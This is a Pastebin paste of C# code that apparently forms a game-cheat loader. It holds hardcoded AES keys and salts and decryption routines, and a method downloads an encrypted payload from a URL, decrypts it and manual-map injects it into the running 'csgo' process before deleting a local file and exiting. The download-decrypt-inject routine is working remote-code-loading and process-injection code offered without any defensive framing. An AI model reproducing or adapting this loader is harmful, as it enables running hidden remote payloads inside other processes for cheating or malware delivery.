Advertisement
ColinStroble

Untitled

Oct 7th, 2018
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.05 KB | None | 0 0
  1. static readonly byte[] PasswordHashByte = new byte[] { 74, 56, 106, 103, 116, 55, 56, 57, 74, 72, 104, 55, 84, 56, 117, 106, 56, 84, };
  2. static readonly byte[] SaltKeyByte = new byte[] { 97, 115, 100, 114, 103, 52, 53, 114, 51, 52, 114, 102, 51, 114, 103, 114, };
  3.  
  4. public static byte[] AESDecryptBytes(byte[] cryptBytes)
  5. {
  6. byte[] clearBytes = null;
  7.  
  8. var key = new Rfc2898DeriveBytes(PasswordHashByte, SaltKeyByte, 32768);
  9.  
  10. using (Aes aes = new AesManaged())
  11. {
  12. aes.KeySize = 256;
  13. aes.Key = key.GetBytes(aes.KeySize / 8);
  14. aes.IV = key.GetBytes(aes.BlockSize / 8);
  15.  
  16. using (MemoryStream ms = new MemoryStream())
  17. {
  18. using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
  19. {
  20. cs.Write(cryptBytes, 0, cryptBytes.Length);
  21. cs.Close();
  22. }
  23. clearBytes = ms.ToArray();
  24. }
  25. }
  26. return clearBytes;
  27. }
  28.  
  29. static readonly string PasswordHash = "v*^FC%Fb9d237f97((";
  30. static readonly string SaltKey = "&^*Yeu^4gh)54eh$%&";
  31. static readonly string VIKey = "&$hf#&*hf!@6e$^hv(%";
  32.  
  33. public static string DecryptString(string encryptedText)
  34. {
  35. byte[] cipherTextBytes = Convert.FromBase64String(encryptedText);
  36. byte[] keyBytes = new Rfc2898DeriveBytes(PasswordHash, Encoding.ASCII.GetBytes(SaltKey)).GetBytes(256 / 8);
  37. var symmetricKey = new RijndaelManaged() { Mode = CipherMode.CBC, Padding = PaddingMode.None };
  38.  
  39. var decryptor = symmetricKey.CreateDecryptor(keyBytes, Encoding.ASCII.GetBytes(VIKey));
  40. var memoryStream = new MemoryStream(cipherTextBytes);
  41. var cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read);
  42. byte[] plainTextBytes = new byte[cipherTextBytes.Length];
  43.  
  44. int decryptedByteCount = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length);
  45. memoryStream.Close();
  46. cryptoStream.Close();
  47. return Encoding.UTF8.GetString(plainTextBytes, 0, decryptedByteCount).TrimEnd("\0".ToCharArray());
  48. }
  49.  
  50. public static void DecryptFile(string url, string file)
  51. {
  52. WebClient web = new WebClient();
  53. byte[] bytesDecrypted = System.Convert.FromBase64String(DecryptString(web.DownloadString(url)));
  54.  
  55. var name = "csgo";
  56. var target = Process.GetProcessesByName(name).FirstOrDefault();
  57. var injector = new ManualMapInjector(target) { AsyncInjection = true };
  58. string txt = "";
  59. txt = $"hmodule = 0x{injector.Inject(bytesDecrypted).ToInt64():x8}";
  60. string path = @"C:\Bytes\c.txt";
  61. if(File.Exists(path))
  62. {
  63. File.Delete(path);
  64. }
  65. Application.Exit();
  66. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement